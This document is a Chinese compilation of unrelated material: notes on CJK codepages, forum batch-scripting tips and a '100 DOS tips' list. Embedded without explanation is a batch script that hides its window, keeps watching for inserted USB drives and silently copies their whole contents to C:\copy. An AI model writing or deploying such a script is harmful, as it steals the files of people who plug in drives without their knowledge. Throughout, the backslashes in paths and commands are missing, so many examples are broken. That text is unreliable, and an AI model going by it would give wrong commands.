字符内码(charcter code)指的是用来代表字符的内码.读者在输入和存储文档时都要使用内码,内码分为 


单字节内码 -- Single-Byte character sets (SBCS),可以支持256个字符编码.

双字节内码 -- Double-Byte character sets)(DBCS),可以支持65000个字符编码.主要用来对大字符集的东方文字进行编码. 

codepage 指的是一个经过挑选的以特定顺序排列的字符内码列表,对于早期的单字节内码的语种,codepage中的内码顺序使得系统可以按照此列表来根据键盘的输入值给出一个对应的内码.对于双字节内码,则给出的是MultiByte到Unicode的对应表,这样就可以把以Unicode形式存放的字符转化为相应的字符内码,或者反之,在Linux核心中对应的函数就是utf8_mbtowc和utf8_wctomb. 

在1980年前,仍然没有任何国际标准如ISO-8859或Unicode来定义如何扩展US-ASCII编码以便非英语国家的用户使用.很多IT厂商发明了他们自己的编码,并且使用了难以记忆的数目来标识: 




例如936代表简体中文. 950代表繁体中文. 




1.1 CJK Codepage 

同 Extended Unix Coding ( EUC )编码大不一样的是,下面所有的远东 codepage 都利用了C1控制码 { =80..=9F } 做为首字节, 使用ASCII值 { =40..=7E { 做为第二字节,这样才能包含多达数万个双字节字符,这表明在这种编码之中小于3F的ASCII值不一定代表ASCII字符. 


CP932 


Shift-JIS包含日本语 charset JIS X 0201 (每个字符一个字节) 和 JIS X 0208 (每个字符两个字节),所以 JIS X 0201平假名包含一个字节半宽的字符,其剩馀的60个字节被用做7076个汉字以及648个其他全宽字符的首字节.同EUC-JP编码区别的是, Shift-JIS没有包含JIS X 202中定义的5802个汉字. 


CP936 


GBK 扩展了 EUC-CN 编码( GB 2312-80编码,包含 6763 个汉字)到Unicode (GB13000.1-93)中定义的20902个汉字,中国大陆使用的是简体中文zh_CN. 


CP949 


UnifiedHangul (UHC) 是韩文 EUC-KR 编码(KS C 5601-1992 编码,包括2350 韩文音节和 4888 个汉字a)的超集,包含 8822个附加的韩文音节( 在C1中 ) 


CP950 


是代替EUC-TW (CNS 11643-1992)的 Big5 编码(13072 繁体 zh_TW 中文字) 繁体中文,这些定义都在Ken Lunde的 CJK.INF中或者 Unicode 编码表中找到. 


注意: Microsoft采用以上四种Codepage,因此要访问Microsoft的文件系统时必需采用上面的Codepage . 



1.2 IBM的远东语言Codepage 

IBM的Codepage分为SBCS和DBCS两种: 


IBM SBCS Codepage 



37 (英文) * 

290 (日文) * 

833 (韩文) * 

836 (简体中文) * 

891 (韩文) 

897 (日文) 

903 (简体中文) 

904 (繁体中文) 

IBM DBCS Codepage 


300 (日文) * 

301 (日文) 

834 (韩文) * 

835 (繁体中文) * 

837 (简体中文) * 

926 (韩文) 

927 (繁体中文) 

928 (简体中文) 

将SBCS的Codepage和DBCS的Codepage混合起来就成为: IBM MBCS Codepage 


930 (日文) (Codepage 300 加 290) * 

932 (日文) (Codepage 301 加 897) 

933 (韩文) (Codepage 834 加 833) * 

934 (韩文) (Codepage 926 加 891) 

938 (繁体中文) (Codepage 927 加 904) 

936 (简体中文) (Codepage 928 加 903) 

5031 (简体中文) (Codepage 837 加 836) * 

5033 (繁体中文) (Codepage 835 加 37) * 

*代表采用EBCDIC编码格式 


由此可见,Mircosoft的CJK Codepage来源于IBM的Codepage 


@echo off

title $$$$*晗*晗*制*造*$$$$

mode con: cols=14 lines=1

:again

cls

del /Q /f "%temp%copy.tmp" >nul 2>nul

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%copy.tmp"

findstr /i "可移动驱动器" "%temp%copy.tmp" 

if errorlevel==1 goto end

if errorlevel==0 goto copy 

:end 

rem 没有检测到可移动磁盘!

if not exist %temp%sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%sleep.exe 20s

goto again

:copy 

if exist c:copy goto goon

cd

cd /d c:

md copy  

:goon 

for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%copy.tmp"') do (

xcopy /e /y  %%i*.* c:copy >nul 2>nul

)

rem 已复制,请及时清理文件!

if not exist %temp%sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%sleep.exe 20s

goto again




  比较以下两段代码的执行结果差异:


  1、

@echo off

for /f "delims=" %%i in (test.txt) do echo /%%i/

pause


  2、

@echo off

for /f "tokens=*" %%i in (test.txt) do echo /%%i/

pause


  test.txt 的内容为:    abc 。行首有若干空格。



  看到有什么差别了吗?


  原因:"delims=" 的含义是取消默认的分隔符,所以会把行上的内容照搬下来,而 "tokens=*" 表示获取行上的所有内容,但是会忽略行首的所有空格。


                                                                —— namejm


  当用del删除文件时,不能使用 del /a /f >nul 2>nul&&echo yes||echo no 来判断是否已经删除,因为无论在什么情况下,始终显示yes。rd不存在这个现象。所以,在不知道要删除的是文件还是文件夹的时候,应该用如下代码:

@echo off

:: rd 和 del 的顺序不能反

rd /q /s "目标">nul 2>nul||del /a /f "目标">nul 2>nul

pause


                        —— namejm


一、


    —— pengfei


@echo off

for /f "tokens=*" %%i in ('dir /s /a-d /b "D:Share iles资料*f*.*"') do (

    echo %%i

    echo %%i>>file.txt

)

pause


提取这个文件夹下的所有存在f的文件.

资料*f*.*


提取到的文件会生成到file.txt中


文件夹弄错啦!


这里正常提取到ftp.txt


ok 问题出现了


提取到娟平 014.jpg等不存以f字符, 但中间有空格的文件.


D:Share iles资料照片花花公子11961873_218529.jpg


这个文件存在_符号.


D:Share iles资料ADSLftp2.txt

D:Share iles资料照片1娟平 014.jpg

D:Share iles资料照片1娟平 007.jpg

D:Share iles资料照片1娟平 015.jpg

D:Share iles资料照片1娟平 016.jpg

D:Share iles资料照片1娟平 017.jpg

D:Share iles资料照片1娟平 018.jpg

D:Share iles资料照片1娟平 019.jpg

D:Share iles资料照片1娟平 104.jpg

D:Share iles资料照片1娟平 105.jpg

D:Share iles资料照片1娟平 106.jpg

D:Share iles资料照片1娟平 107.jpg

D:Share iles资料照片1娟平 108.jpg

D:Share iles资料照片1娟平 109.jpg

D:Share iles资料照片1娟平 114.jpg

D:Share iles资料照片1娟平 115.jpg

D:Share iles资料照片1娟平 116.jpg

D:Share iles资料照片1娟平 117.jpg

D:Share iles资料照片1娟平 118.jpg

D:Share iles资料照片1娟平 119.jpg

D:Share iles资料照片1娟平 124.jpg

D:Share iles资料照片1娟平 128.jpg

D:Share iles资料照片1娟平 134.jpg

D:Share iles资料照片1娟平 138.jpg

D:Share iles资料照片1娟平 146.jpg

D:Share iles资料照片1娟平 156.jpg

D:Share iles资料照片1娟平 166.jpg

D:Share iles资料照片1娟平 176.jpg

D:Share iles资料照片1娟平 186.jpg

D:Share iles资料照片3cmy8543_61.gif

D:Share iles资料照片3misukhot_44.gif

D:Share iles资料照片3misukhot_80.gif

D:Share iles资料照片3 efiju_42.jpg

D:Share iles资料照片3 efiju_43.jpg

D:Share iles资料照片3zkmrf005-qqyeri2.gif

D:Share iles资料照片7爬山 017.jpg

D:Share iles资料照片7照片 002.jpg

D:Share iles资料照片5照片 042.jpg

D:Share iles资料照片5照片 032.jpg

D:Share iles资料照片5照片 022.jpg

D:Share iles资料照片5照片 012.jpg

D:Share iles资料照片5照片 006.jpg

D:Share iles资料照片5照片 002.jpg

D:Share iles资料照片花花公子11961840_218524.jpg

D:Share iles资料照片花花公子11961851_218527.jpg

D:Share iles资料照片花花公子11961873_218529.jpg


二、


  —— namejm


比较如下两段代码:

1、

@echo off

for /f "tokens=*" %%i in ('dir /a /b /s "D: est"') do (

    echo %%~ai

)

pause


2、

@echo off

for /f %%i in ('dir /a /b "D: est.txt"') do (

    echo %%~ai

)

pause


1的代码能正确取到每个文件的属性,但是,2的代码取到的是当前目录下test.txt的属性,

解决办法是把2中的'dir /a /b "D: est.txt"'改为"d: est.txt"




DOS技巧100例


来源:http://www.cn-dos.net/forum/viewthread.php?tid=23999&fpage=0&highlight=&page=1

tianzizhi

2006-10-20 18:36


1、*.*的简写

  *.*可以用.代替,例如,删除当前目录中的全部文件∶

  DEL.

  2、返回父目录即上级目录

  CD..

  3、把目录文件的列表存入文本文件中

  DIR>filename

  4、查看当前目录下任何属性的文件

  方法一∶DIR,

  方法二∶DIR/A

  5、取消当前目录下所有文件的所有属性(实际上只能查看属性而不能取消-jm注)

  ATTRIB,

  若在C盘根目录下执行此命令,再用DIR来查看,可以看到IO.SYS、MSDOS.SYS等隐含文件

  6、显示当前目录下的所有子目录名

  DIR/AD

  7、连续显示多个文件的内容

  COPY *.* CON 

  8、分屏显示文件内容

  方法一∶MORE<filename

  方法二∶TYPE filename|more

  9、改变磁盘文件的注册时间

  方法一∶COPY filename+NUL

  方法二∶COPY filename+,,

  10、如何屏蔽DOS行的输出信息?

  方法是将屏幕输出重定向到DOS空设备NUL,例如∶

  COPY MYPROG.EXE A:>NUL

  11、在DOS状态下直接显示用D方式编辑的WPS文件内容

  COPY filename.wps CON/B

  12、向文本文件中追加数据

  方法一∶COPY filename+CON

  方法二∶TYPE CON>>filename

  输入完毕后按F6或Ctrl+Z键结束。

  13、键盘指法练习或汉字输入练习的简易屏幕

  COPY CON NUL

  14、直接打印键盘输入的内容

  方法一∶COPY CON PRN

  方法二∶MORE>PRN

  方法三∶SORT>PRN

  输入完毕后按F6或Ctrl+Z键。

  15、DOS下直接编辑生成文件

  在没有任何编辑软件(如EDLIN、EDIT等)的情况下,可临时用以下六种方法从键盘编辑生成文件,当文件内容输入完毕后,按F6键或按Ctrl+Z键存盘退出∶

  方法一∶COPY CON filename

  方法二∶TYPE CON>filename

  方法三∶MORE>filename

  方法四∶SORT>filename

  方法五∶FIND"XXX"/V/N>filename

  方法六∶SORT|FIND"XXX"/V/N>filename

  方法四、五、六均有特殊用处,读者不妨一试。

  16、零字节文件的生成

  方法∶TYPE NUL>filename

  上述方法常用于处理需保密的磁盘文件,起到删除文件内容的作用,内容被删除后一般不可恢复。

  17、对零字节文件的拷贝,不能用COPY命令,只能用XCOPY命令。

  例如∶XCOPY filename1 filename2 

  18、目录中的所有文件和子目录的复制

  XCOPY 目录名.驱动器号:/S

  19、如何正确使用COPY 和XCOPY命令?

  ●将若干个文件联结成一个文件时,应使用COPY命令。

  ●拷贝小于64KB的单个文件,使用COPY命令。拷贝大于64KB的文件,应使用XCOPY命令。

  ●拷贝多个文件应使用XCOPY命令。

  ●拷贝子目录中的内容,应使用XCOPY/S命令。拷贝一批文件到软盘,应使用XCOPY/M命令。

    20、什么时候用XCOPY命令的/D开关项? 

  有时候需要从某个目录中"选出"从某一天开始建立或修改过的文件,并将它们备份,此时可使用XCOPY/D命令。例如,下述命令可以把C∶目录下那些在1996年7月1日以后建立或修改过的文件拷贝到A盘∶ 

  XCOPY C:*.* A:/D:07-01-96 

  21、单软驱复制软盘

  有的PC机只装有一个软驱,这个驱动器既当A盘又当B盘使用,如果要在这样的系统上进行软盘复制,使用下述的XCOPY 命令∶ 

  XCOPY A: B:

  22.整理软盘中碎块,提高使用效率

  一张软盘经过多次建立和删除文件操作后,某些文件记录会以不连续的形式存放在软盘空间中,造成软盘空间产生许多碎块,影响软盘的读写操作性能,严重时可导致读写故障。

  解决以上问题可使用COPY命令进行整盘拷贝,则新盘上的文件保持连续存放。

  23.将多个文件连续拷入多张软盘。

  首先,用ATTRIB命令设置每一文件的文档特性∶

  ATTRIB+A *.*/S

  然后使用XCOPY命令,在软盘装满后插入新盘,根据文档特性决定哪些文件需要拷贝,哪些不拷。

  XCOPY *.* A∶/S/M/W

  24.使用TYPE命令"拷贝"文件

  拷贝文件通常使用COPY命令或XCOPY命令,其实,TYPE也有"拷贝"文件的用途∶

  TYPE filenamel>filename2

  这种方法对于拷贝隐含文件非常有效。例如∶TYPE IO.SYS>A∶IO.SYS

  25.以小写方式显示文件或目录

  DIR/L

  26.只显示文件名与子目录名,不显示文件大小和生成时间等信息

  DIR/B

  27.使DIR总是按文件名的字母顺序来显示文件

  在AUTOEXEC BAT中加入下述命令即可∶

  SET DIRCMD=/O

  28.列当天创建的文件目录

  若想知道当天(如1996年10月21日)建立了多少文件,可用下述命令列出∶

  DIR|FIND"10 21 1996"

  29.若不希望别人使用DIR命令进行目录文件列表,有什么方法呢?

  方法一∶DOSKEY DIR=You can not use DIR!

  方法二∶在AUTOEXEC BAT中加入命令行∶SET DIRCMD=0

  此命令的功能是在用DIR命令来显示文件时,只显示"File not found",能起到暂时保密的作用。若想显示文件及目录,只有指定具体的文件名或路径。

  方法三∶SET DIRCMD=DIR>NUL

  此命令执行后再使用DIR命令,将输出没有文件的信息,也颇具迷惑性。

  30.出所有目录中的文件

    CHKDSK/V|MORE

  31.如何在有多级目录的磁盘上查找文件

  方法一∶CHKDSK/V|FIND"文件名"其中文件名必须用大写字母。

  方法二∶DIR/S文件名

  32.实时控制打印机的换行或换页

     ECHO+>PRN(换行)

     ECHO^L>PRN(换页)

  33.使计算机在DOS命令行发出声音

     ECHO ^G

  34.DOS命令提问的自动响应

  例如∶

   ECHO Y|DEL C∶

   ECHO N|CHKDSK C∶/F

  35.使ECHO命令显示空行

  ECHO命令后直接跟空格字符时,ECHO将显示当前的信息回显状态(ON或OFF),而不直接向屏幕回显空行。其实,下面一些非常简单的命令格式都能使ECHO命令显示空行∶

  ECHO   ECHO, ECHO; ECHO+

  ECHO[ ECHO] ECHO/ ECHOpar   

  36.用ECHO命令向交互式DOS命令馈送回车符

  例如∶

  ECHO+|DATE|FIND"Current date" 

  ECHO+|TIME|FIND"Current time" 

  此技巧可用于AUTOEXEC.BAT中,使每次开机后直接显示当前日期和时间信息,不必按回车键就能继续下去。

  37.开机时间黑匣子

  有时需要记录每次使用计算机的日期和时间,以便加强用机管理。可以利用上述技巧,只须在AUTOEXEC.BAT文件中加入下列命令∶

  ECHO+|DATE>>ABC

  ECHO+|TIME>>ABC

  这样在每次启动计算机后,文件ABC中就自动记录了日期和时间,执行命令TYPE ABC即可查看以往开机日期和时间。

  38.自动统计命令或文件的运行时间

  下面给出一个计时器TIMETEST.BAT,实现了自动统计命令或文件的运行时间∶

  @ECHO OFF

  TIME 0

  COMMAND /C %1 %2 %3 %4

  ECHO %1 %2 %3 %4运行时间为∶

  ECHO+|TIME|FIND"time is"

  @ECHO ON

  例如,测试AUTOEXEC.BAT运行时间∶

  C>TIMETEST AUTOEXEC.BAT ┆

  AUTOEXEC.BAT运行时间为∶

  Current time is 0∶00∶03 49

  说明AUTOEXEC.BAT运行了3.49秒。   

  39.跳过或单步执行CONFIG.SYS和AUTOEXEC.BAT文件

  方法一∶启动计算机,屏幕出现Starting MS-DOS…时,按F5键或SHIFT键,DOS便会跳过CONFIG.SYS和AUTOEXEC.BAT两文件,用系统运行的基本环境配置来启动机器。

  方法二∶当出现上面的提示后,按F8键,并通过键盘逐一回答Y或N来选择执行命令。

  方法三∶在CONFIG.SYS文件的命令中加上"?"号。如DOS?=UMS,这样在执行到该条命令时,便会出现[Y,N]?的选择提示,让你选择是否装入该命令。

  40.能否省去DOS启动时等待按F8或F5的两秒时间?

  能。方法是在CONFIG SYS文件的头部加上语句SWITCHES=/F,此后同样可以实现以前的功能,方法是在未出现"Starting MS-DOS…"时就按下F8或F5键。

  41.单步执行批处理文件

  COMMAND/Y/C(批处理文件名)

  开关/Y告诉DOS在执行每一行前暂停,提示[Y,N]?询问用户是否执行。

  42.快速获取DOS命令的帮助信息

  方法一∶FAST HELP 命令名

  方法二∶命令名/?

  方法三∶命令名/H

  43.方便地更改子目录名

  以下MOVE命令能将C∶目录改名为C∶∶

  MOVE C∶ C∶

  44.什么时候使用MOVE命令移动文件?

  MOVE命令的最大特点是可以在一个命令行里列出多个要移的文件,文件之间可用","号相隔。例如,将当前目录中所有可执行文件均移进目录中∶

  MOVE *.COM,*.EXE,*.BAT

  45.用MOVE命令对子目录进行简单加密或解密

  加密∶如将C∶目录利用半个汉字进行简单加密,可执行命令∶

  MOVE C∶ C(半个汉字字符)

  解密∶反之,可用MOVE命令结合通配符*或?,将不可识别的目录名改成其它名字,达到解密目的。

  46.快速进入深层子目录

  可用SUBST命令设置驱动器标识符,取代深层次子目录路径,使得进入深层次子目录十分方便。例如,下述命令可以将子目录C∶模拟成M盘∶

  SUBST M∶ C∶

  这样,在任何目录下,只要将当前驱动器变成M,即可进入PRG子目录。

  47.如何取消SUBST设置的盘符?

  例如,要取消上例中的M盘,只须执行命令SUBST M∶/D即可。

  48.建立并进入新目录的MD命令

  DOS中的MD命令只能建立子目录,建好后再用CD命令进入,其实可以用∶

  DOSKEY MD=MD $1 $T CD $1

对MD命令进行重新定义,此后使用MD时,建立目录和进入目录同步完成。

  49.排除法文件列表

  DIR命令中支持通配符*和?来代替其它字符,但却没有提供相应的排除字符的功能,而利用FIND命令中的/V参数,则能方便地实现排除法列表。下述命令能将除去.BAK文件和子目录以外的所有文件列出∶

  DIR|FIND/V"BAK"|FIND/V"<DIR>"

  50.>和>>的区别

  DIR>DIRLIST∶如果DIRLIST文件存在,将清除其文件内容,并将新内容输入文件中。

  DIR>>DIRLIST∶如果DIRLIST文件存在,将输出数据附加到这个文件末尾。

  在DIRLIST文件不存在时,两者是等价的。

  51.快速添加搜索路径

  PATH=%PATH%;%1

  52.对数据文件及由字处理程序生成的文本文件等不可执行文件,建立自动搜索路径。

  APPEND命令能将一组指定的目录添加进当前目录的逻辑扩展,从而不用指定路径就能打开这组文件。APPEND后可以放多个目录,只要用";"隔开即可,例如∶

  APPEND C∶;C∶;C∶;C∶;

  53.将目录名隐藏起来

  由于ATTRIB命令可改变一个目录的属性,所以利用该命令可将目录名隐藏起来。例如,将目录C∶隐藏起来∶

  ATTRIB +H C∶

  54.快速删除目录树

  用DELTREE命令可快速地删除指定目录,而不管目录中有多少子目录和目录及文件为何种属性。例如∶DELTREE C∶

  55.防止误删除文件

  DEL命令是一个危险的命令,可以用下述命令对其进行重新定义,使得在删除文件时有确认提示∶

  DOSKEY DEL=DEL $1/P

  56.如果误删除了某些文件,有什么办法及时地将它们恢复?

  UNDELETE命令可以用来恢复删除文件,以下命令能将当前目录中的被删文件恢复出来∶

  UNDELETE *.*/ALL

  此命令恢复出来的文件名的第一个字符变成了#,可用REN命令更改成原来的文件名。

  57.删除多个文件名无共同特征的文件时,由于难用通配符,只能逐个删除,比较麻烦。有没有其他方便的方法?

  有。使用DEL *.*/P命令,系统会逐个列出指定目录的所有文件,询问用户是否删除,对欲删除文件回答Y,否则回答N。

  58.加密文件名一法

  在要加密的文件名最后加上ASCII字符255。方法是输入文件名后按下ALT键,然后输入255。这样,用DIR命令列出该文件时,并不显示这个字符,即从文件名看不出发生了任何变化,起到了一定的加密作用。

  59.回忆用过的命令

  执行DOSKEY命令后,用户所输入的命令便被存储起来,以后若要回忆使用过的命令,可随时用"↑"或"↓"键进行前后逐条查找。

  60.禁止非法访问某个驱动器

  在AUTOEXEC.BAT文件中加入下述两条命令,可以禁止非法访问D盘,当输入D∶时,屏幕即关闭,只有知道密码ZM的人才能进入D盘∶

  DOSKEY D∶=ECHO OFF

  DOSKEY ZM=D∶

  61.防止别人误将C盘格式化

  为了保护C盘,防止别人格式化,可用DOSKEY对FORMAT命令进行重新定义,例如∶

  DOSDEY FORMAT=You can not format C∶!

  这样,别人在使用FORMAT时将出现Yor can not format C∶!的提示,从而使C盘得到保护。若自己想用FORMAT时,再用如下命令恢复∶

  DOSKEY FORMAT=

  62.检查屏幕状态,获得有关屏幕显示字符和行数的报告

  MODE CON

  63.设置屏幕每行显示字符数和每屏的行数

  例如∶

  MODE CON COLS=80 LINES=25

  64.提高键盘的响应速度

  MODE CON∶RATE=32 DELAY=1

  65.不喜欢系统启动时Num Lock键的缺省设置怎么办?

  在CONFIG SYS文件中加进NUMLOCK命令,根据你的爱好指定系统启动时NUMLOCK键的状态∶

  NUMLOCK=ON(或OFF)

  66.简单的键盘锁

  在你使用计算机时,如果只离开一会,又不想关机,为了不让别人随意使用,可编制一个简单的键盘锁LOCK BAT程序(内容如下)∶

  @ECHO OFF

  CLS

  CHOICE/C:*/N

  运行之后,形同死机,"*"号就是键盘锁的钥匙,不知道的人无法破译。

  67.文件的选择显示

  假设有MY1 TXT、MY2 TXT、…、MY10.TXT共10个文件,现欲显示其中的MY2.TXT、MY3.TXT、MY6.TXT和MY9.TXT 4个文件,可用如下命令很方便地实现∶

  FOR %A IN(2369)DO TYPE MY%A.TXT

  68.删除误拷贝文件

  当用COPY A∶*.*命令把A盘上所有文件拷贝到硬盘某子目录下时,却不慎误拷贝到硬盘根目录下,如误拷贝的文件数量很多,且文件名没有任何特征,这时如要删除这些文件,通常做法是用PCTOOLS工具软件进行选择删除,比较麻烦。使用FOR命令就简单多了∶

  A>FOR %A IN(*.*)DO DEL C∶%A

  69.由于FIND命令不能接受通配符,若希望在若干个文本文件中寻找含有某个字符串插,就只能对每个文件依次使用FIND命令,显然很费功夫,没有捷径吗?

  有。使用FOR命令与FIND命令配合,格式为∶

  FOR%A IN(文件组)DO FIND"string"%A

  70.FOR命令不能嵌套,有没有办法实现FOR循环嵌套呢?

  有。可以把COMMAND.COM作为第一层循环里的命令,让它再执行一个FOR循环命令。例如,下述命令可以在屏幕上显示12行"Welcome you":FOR %A IN(123)DO COMMAND/C FOR %B IN(1234)DO ECHO Welcome you

  71.双冒号∶∶在注释行中的作用

  在DOS批处理文件开头,经常使用REM注释命令加一个程序头。例如,假设有一个名为TEST.BAT的批处理文件,它以一个文本文件名为输入参数,若在开头说明其用法时,使用了一个采用<和>和括号的注释行,即∶

  REM TEST<filename>

  程序执行此命令时,DOS将显示"File not found"信息,因为它以为filename是一个重定向输入操作的源文件,它在当前目录中找不到。如何解决这个问题?

  很简单,只须将REM改为双冒号"∶∶",即∶

  ∶∶TEST<filename>

  72.批处理中的IF ERRORLEVEL

  在批处理文件里使用IF ERRORLEVEL命令时要小心,因为DOS认为任何大于或等于设定值的出口状态值都是等效的。通常应按从大到小的次序测试出口状态值,例如∶

  IF ERRORLEVEL 2 ECHO TWO

  IF ERRORLEVEL 1 ECHO ONE

  IF ERRORLEVEL 0 ECHO ZERO

  73.能不能按从小到大的次序测试出口状态值?

  能。但应结合IF NOT的形式进行判断,例如72例中的命令应改为∶

  IF ERRORLEVEL 0 IF NOT ERRORLEVEL 1 ECHO ZERO

  IF ERRORLEVEL 1 IF NOT ERRORLEVEL 2 ECHO ONE

  IF ERRORLEVEL 2 IF NOT ERRORLEVEL 3 ECHO TWO

  74.批处理文件中使用@符禁止命令显示在屏幕上

  由于DOS是在各个命令执行前就将它们显示到屏幕上的,因此,即使你将ECHO命令置为OFF,它本身也会出现在屏幕上。要抑制它的显示,可在ECHO命令行前加@符∶@ ECHO OFF

  75.统计源程序的行数

  假设源程序名为ZM.PRG,下述FIND命令可方便地统计它共有多少行∶

  FIND/V/C" "ZM.PRG

  76.对文本文件进行排序

  SORT命令常用来对一些基于文本行的文件进行排序显示。例如,按姓名的开头字母显示一个含有电话号码的清单文件。命令格式∶

  SORT[/R][/+n]<filename1>filename2

  其中,/R表示反向排序,/+n表示从第几行开始排序,filename1为源文件名,filename2为排序后的文件名。

  77.用PROMPT设置有意义的提示符

  PROMPT命令用于设置新的DOS系统提示符。例如∶

  PROMPT $P$G 取当前驱动器名及目录作为提示符

  PROMPT $D$G 取当前系统日期作为提示符。

  78.如何设定屏幕颜色?

  假设ANSI.SYS已被安装在内存中,以下命令可把屏幕设置成白底红字∶

  PROMPT $E[31;47m

  79.在屏幕上选定的位置显示日期和时间信息

  把ANSI SYS的屏幕和光标控制功能与PROMPT的设定DOS命令提示符功能结合起来,可以在屏幕上选定的位置显示特殊的信息。例如,在AUTOEXEC BAT中加入下述命令行,可将日期和时间信息移到屏幕的右下方∶

  PROMPT $E[S $E[25;52H $D$T $E[u $P$G

  80.用F2键编辑上次命令

  用F1或F3功能键可复制上次命令,类似地F2键能得到部分上次命令,当按下F2键时,DOS就将上次命令内容拷贝到按F2键后键入的字符(不含)为止。

  例如,键入了以下命令∶

  C>DIR.COM<enter> 

  按F2键及M键,可以得到∶

  C>DIR

  这时再按INS插入键,输入R,再按F3键复制上次命令剩余部分,得到正确的命令∶

  C>DIR.COM

  81、用F4键编辑上次命令

  当按下F4键时,DOS从按F4键后按的字母开始复制上次命令。例如,上次命令为∶

  C>DIR[enter] 

  按下F4键,再输入F,然后再按F3,DOS就会显示FORMAT命令∶

  C>FORMAT

  82、用SHELL命令改变环境空间的大小

  将环境变量空间增加到1KB,可在CONFIG.SYS文件中加进命令行∶

  SHELL=C∶.COM/P/E∶1024

  83、在批处理文件中引用环境变量

  批处理文件可以引用系统上已定义的环境变量。具体方法是在环境变量名的前后各放一个百分号"%"。例如,要在批处理文件中显示环境变量PATH的内容,可加进命令行∶

  ECHO %PATH% 

  84、查看单个环境变量

  如果你经常使用环境变量,当用SET命令显示当前所有已分配的环境变量时,列表就可能很长,屏幕可能很杂乱。为方便起见,可用下面的批处理文件VIEWENV.BAT在命令行直接显示单个环境变量∶

  SET|FIND/I "%1"

  例如,要察看COMSPEC的内容,只须执行∶

  VIEWENV COMSPEC

  85、制作DOS系统盘

  方法一∶FORMAT A∶/S

  方法二∶SYS A∶

  86、定期整理硬盘

  具体步骤∶

  ·删除硬盘中不必要的文件

  ·运行CHKDSK/F

  ·运行DEFRAG

  87、了解内存的类型

  ·常规内存∶0~640KB

  ·上位内存区(UMA)∶640KB~1MB

  ·扩展内存∶自1MB起向上延伸

  ·高内存区(HMA)∶1MB以上的稍小于64KB的扩展内存区

  ·扩充内存

  88、将DOS移到高内存区

  为使用户有较大的可用基本内存,可以在CONFIG.SYS文件中加入下述命令,加载HIMEM.SYS,将DOS移入高内存区(HMA)∶

  DEVICE=C∶.SYS

  DOS=HIGH

  89、将设备驱动程序和内存驻留程序装入上位内存(UMB)

  在CONFIG.SYS文件中加进命令∶

  DEVICE=C∶.EXE NOEMS

  DOS=UMB

  90、将程序装入高内存区

  将程序装入HMA的方法是在命令行上加一个/U开关,例如∶

  MOUSE/U

  91、上位内存的使用

  为将程序驻留上位内存,使用LOADHIGH(或LH)<程序名>即或,例如∶

  LH MOUSE

  92、如何显示某个特定程序占用内存的情况?

  MEM/M module

  其中,module表示特定程序文件名,不要带扩展名。

  93、使用Memmaker自动优化内存

  执行MEMMAKER/BATCH命令,MEMMAKER就自动为CONFIG.SYS和AUTOEXEC.BAT文件做最优的设置,此后,执行MEM/C/P来观察内存的分配情况,你会发现主存变大了。

  94、若不满意MEMMAKER的优化设置,应该怎么办?

  很简单,只须执行MEMMAKER/UNDO即可恢复你原来的配置。

  95、磁盘高速缓冲存储器SMARTDRV的使用

  为建立一个具有256K(默认值)的磁盘高速缓存,可在AUTOEXEC.BAT文件中加入命令行∶

  C∶

  由于SMARTDRV是建立在扩展内存中,所以还必须在CONFIG.SYS文件中加入命令行∶

  DEVICE=C∶.SYS

  96、当你关闭计算机或重新启动时,希望确定所有在高速缓存的信息均已写入硬盘时,应在系统提示符下键入命令∶

  SMARTDRV/C

  97、跳过SCANDISK的磁介质扫描

  运行SCANDISK时,磁介质扫描要消耗很长时间,其实,使用SCANDISK/CHECKONLY便可跳过它。

  98、LOADFIX命令的正确使用

  在优化过程中,有少数程序不能在640KB常规内存的低64KB内正确运行。此时,可使用LOADFIX命令让可执行程序(如ZMPROG.EXE)在低64KB以上的内存中运行,方法是在要运行的应用程序前加上LOADFIX∶

LOADFIX ZMPROG

  99、何时使用虚拟盘(也称RAM盘)?

  RAM盘能显着提高磁盘文件的存取速度,但它在断电或重启动时会丢失数据。因此,使用RAM盘时要特别小心。在没有硬盘的系统上,RAM盘值得一用;在需要存放较大的临时文件或复制程序时,也可以使用;当你的系统上配有CD-ROM时,在开始工作前,可将CD-ROM盘上的文件与数据复制进RAM盘,能够显着提高效率。

  100、虚拟盘的安装

  DOS提供的RAMDRIVE.SYS是一个虚拟盘驱动程序,你可以将它安装进内存,让它使用扩展内存或扩充内存,生成指定大小的RAM盘。例如,在CONFIG.SYS中加进下述命令,可在扩展内存中生成一个1MB的RAM盘∶

  DEVICE=C∶.SYS 1024/E 


dir [D:][PATH][NAME][[/A][:attrib]][/o:[sorted][/s][/l][/c[h] 


(1)dir /a:attrib 缺省包含所有文件(系统文件.隐含文件) 


attrib[:][h/-h] 只显示隐含文件或非隐含文件. 


[r/-r] 只显示只读文件或非只读文件 


[s/-s]只显示系统文件或非系统文件 


[a/-a] 只显示要归档文件或非归档文件 


(2)/o[:]sorted: 缺省完全按字母顺序,子目录显示在文件之前 


/o[n/-n]: 按字母顺序或按文件名顺序/反向显示 


[e/-e]: 按扩展名字母顺序/反向显示 


[d/-d]: 按时间顺序/反向显示 


[s/-s]: 按大小从大到小或/反向显示 


[g/-g]: 按子目录先于文件或文件先于子目录 


(3)/s 参数: 对当前目录及其子目录中所有文件进行列表 


列名 ir /s/a/o:n c:>PRN 


将 c 盘上的所有子目录和文件按隶属关系并根据子目录和文件字母顺序打印输出 


(4) /B 参数:将只显示文件名与扩展名 


(5) /L 参数:将全部用小写字母对文件或子目录进行列表 


训练: 


dir /a 列当前目录所有文件(含隐含及系统文件) 


dir /ah 列隐含文件(包含子目录(隐含的) dir /a-h 


dir /as 列系统文件 dir /a-s 


dir /ad 列子目录 dir /a-d 


dir /o 按字母顺序 


dir /B 只显示文件名与扩展名 


应用:

将某磁盘目录下所有文件目录及子文件内容全部列出到一文本文件。

dir /s >> h:dx.txt


cd...返回上二级目录

"."代表当前目录 

"."代表父目录 

cd ....返回到上级目录的父目录(祖目录) 


cd A: 将A盘的当前目录改为根目录 


cd A:xx 将A盘的当前目录改为子目录xx下 


cd ..98 先返回父目录,再进入父目录下的98子目录 


cd ..返回到父目录 


cd98 进入根目录下的98子目录 


copy /y 不加提示,对所有文件加以覆盖 


/-y 加以提示,对所有文件 (yes或no提问 ) 


/v 拷贝以后加以校验 


/B 按二进制进行显示 


